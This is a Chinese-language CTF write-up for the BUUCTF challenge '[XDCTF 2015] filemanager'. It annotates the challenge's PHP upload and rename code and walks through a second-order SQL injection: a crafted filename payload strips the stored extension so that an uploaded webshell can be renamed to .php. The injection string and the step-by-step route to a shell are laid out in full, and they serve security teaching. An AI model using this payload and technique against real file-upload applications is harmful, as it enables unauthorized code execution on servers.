BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

admin 2025年2月13日11:24:21评论12 views字数 5682阅读18分56秒阅读模式

 

题目地址:

https://buuoj.cn/challenges#[XDCTF%202015]filemanager

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解题目首页给出了源码:

https://github.com/CTFTraining/xdctf_2015_filemanager

而在这道题中也存在源码泄露:

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

这道题主要还是考察代码审计和二次注入:

网站结构源码解析:

数据库结构:

SET NAMES utf8;SET FOREIGN_KEY_CHECKS = 0;DROP DATABASE IF EXISTS `xdctf`;CREATE DATABASE xdctf;   #创建xdctf数据库USE xdctf;DROP TABLE IF EXISTS `file`;#创建file表CREATE TABLE `file` (  `fid` int(10) unsigned NOT NULL AUTO_INCREMENT,  `filename` varchar(256) NOT NULL,  `oldname` varchar(256) DEFAULT NULL,  `view` int(11) DEFAULT NULL,  `extension` varchar(32) DEFAULT NULL,   #存储后缀名  PRIMARY KEY (`fid`)) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;SET FOREIGN_KEY_CHECKS = 1;

文件包含文件, 数据库连接及输入过滤:

common.inc.php:

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午7:58 */$DATABASE = array(  "host" => "127.0.0.1",  "username" => "root",  "password" => "root",  "dbname" => "xdctf",);$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);$req = array();foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {  foreach ($global_var as $key => $value) {    is_string($value) && $req[$key] = addslashes($value);  }}define("UPLOAD_DIR", "upload/");function redirect($location) {  header("Location: {$location}");  exit;}

在common.inc.php中可以看到全局对用户输入的参数进行了转义,在这里进行数据库连接和遍历数组,如用户输入的参数是GET传参,比如:?demo=123;则 k e y 接 受 的 就 是 d e m o , key接受的就是demo, key接受的就是demo,valu接受的就是123。然后在将其过滤存储到$req这个数组中。这样常规注入少了大部分。遍观代码,输入处没有任何反转义、反解压、数字型等特殊情况,基本可以确定这里不存在直接的注入漏洞。

再看到上传处代码:upload.php

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午8:45 */#payload:upload_file_name=',extension='',filename='x.jpg.jpgrequire_once "common.inc.php";if ($_FILES) {  $file = $_FILES["upfile"];  if ($file["error"] == UPLOAD_ERR_OK) {#如果$_FILES["upfile"]["error"]等于UPLOAD_ERR_OK的话,这说明文件上传成功    $name = basename($file["name"]);#返回路径中的文件名部分    $path_parts = pathinfo($name);#以数组的形式返回关于文件路径的信息#print_r(pathinfo("',extension='',filename='x.jpg.jpg"));/*Array(    [dirname] => .    [basename] => ',extension='',filename='x.jpg.jpg    [extension] => jpg    [filename] => ',extension='',filename='x.jpg)*/    if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {      exit("error extension");    }    $path_parts["extension"] = "." . $path_parts["extension"];    $name = $path_parts["filename"] . $path_parts["extension"];    // $path_parts["filename"] = $db->quote($path_parts["filename"]);    // Fix    $path_parts['filename'] = addslashes($path_parts['filename']);    $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";    $fetch = $db->query($sql);    if ($fetch->num_rows > 0) {      exit("file is exists");    }    if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {      $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";      #$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '',extension='',filename='x.jpg', 0, '.jpg')";      #单引号被过滤,插入过滤数据,'也插入到数据库,导致后面 '再次插入更新语句执  行,导致二次注入      $re = $db->query($sql);      if (!$re) {        print_r($db->error);        exit;      }      $url = "/" . UPLOAD_DIR . $name;      echo "Your file is upload, url:                <a href="{$url}" target='_blank'>{$url}</a><br/>                <a href="/">go back</a>";    } else {      exit("upload error");    }  } else {    print_r(error_get_last());    exit;  }}

这里简单解释下:首先是对文件名路径等信息通过pathinfo函数进行数组形式分割,再对后缀名进行白名单比较,如果不在白名单内则退出:后缀名错误;

接着再进行数据库查询操作,查询数据库中是否有上传的文件名及其对应后缀,如果有则提示文件已存在,在这里是在查询之前进行addslashes进行转义,所以也不存在注入。

接着再将其文件名和后缀名分别插入到数据库中。

再上传功能中对所有输入进行转义并对后缀进行白名单校验,所以此处也不存在注入。

我们在看到重命名功能:rename.php

<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */require_once "common.inc.php";if (isset($req['oldname']) && isset($req['newname'])) {  $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");  if ($result->num_rows > 0) {    $result = $result->fetch_assoc();  } else {    exit("old file doesn't exists!");  }  if ($result) {    $req['newname'] = basename($req['newname']);    $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");    #关键点:    #$re = $db->query("update `file` set `filename`='x.jpg', `oldname`=' ',extension='',filename='x.jpg ' where `fid`={$result['fid']}");    #filename字段被更新为x.jpg,存储后缀名字段extension也设置为空。    if (!$re) {      print_r($db->error);      exit;    }    $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];    $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];    if (file_exists($oldname)) {      rename($oldname, $newname);    }    $url = "/" . $newname;    echo "Your file is rename, url:                <a href="{$url}" target='_blank'>{$url}</a><br/>                <a href="/">go back</a>";  }}?><!DOCTYPE html><html><head>    <title>file manage</title>    <base href="/">    <meta charset="utf-8" /></head><h3>Rename</h3><body><form method="post">    <p>        <span>old filename(exclude extension):</span>        <input type="text" name="oldname">    </p>    <p>        <span>new filename(exclude extension):</span>        <input type="text" name="newname">    </p>    <p>        <input type="submit" value="rename">    </p></form></body></html>

先验证用户是否输入旧文件名(即需要修改的文件名),和输入新文件名。

接着对数据库进行查询,查询在上传功能upload.php中在数据库插入的文件名中是否有用户输入的旧文件名,如果存在,即调用update语句,将查询到存在的文件名更新到数据库oldname字段中,导致文件名$result[‘filename’]再次入库,结果造成二次注入。

在这里验证oldname文件是否存在,是在数据库中去查询filename字段,而不是直接去查询文件系统的文件名验证。而filename字段又是我们可控的。而newname参数又是用户控制输入的,也就是我们也能控制。

但是在upload.php上传文件是对文件后缀进行白名单验证,所以这里不能直接上传恶意文件。

而在rename.php中,重命名的后缀是直接在数据库中提取出上传文件时插入的文件名后缀

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

而在上传文件时,我们是可以对后缀进行控制的,也就是说,我们可以通过upload.php插入时构造语句,然后在rename.php中update数据库更新进行二次注入将extension字段的值改为空,同时也可以控制filename的值,那么等于说我能控制rename函数的两个参数的值

注意在这里有个坑,这里改名的时候检查了文件是否存在:if(file_exists($oldname)) 我虽然通过注入修改了filename的值,但我upload目录下上传的文件名是没有改的。因为利用注入时将extension改为空了,那么实际上数据库中的filename总比文件系统中真实的文件名少一个后缀。那么这里的file_exists就验证不过。这里可以通过再次上传一个新文件,这个文件名就等于数据库里的filename的值就即可绕过。所以最后整个getshell的流程,实际上是一个二次注入+二次操作getshell。

具体操作:

1.构造文件名,选择文件上传:

’,extension=’’,filename='x.jpg.jpg

(在右边的.jpg作用是为了绕白名单后缀,左边的.jpg是文件名,为了闭合将filename改为x.jpg)

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

数据库插入(引号也被插入数据库):

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

2.接着进行重命名操作:

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

注意这里是填写修改文件名,不包括后缀!

rename.php大概执行过程如下:

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

数据库:

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

3.接着在传入一个真正包含webshell的x.jpg

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

4.重命名getshell

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

重命名成功,将jpg文件修改为php文件

5.查看flag

BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

原文来自CSDN博主「keepb1ue」|侵删

原文始发于微信公众号(寰宇卫士):BUUCTF:[XDCTF 2015]filemanager-解题步骤详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日11:24:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BUUCTF:[XDCTF 2015]filemanager-解题步骤详解https://cn-sec.com/archives/1059451.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息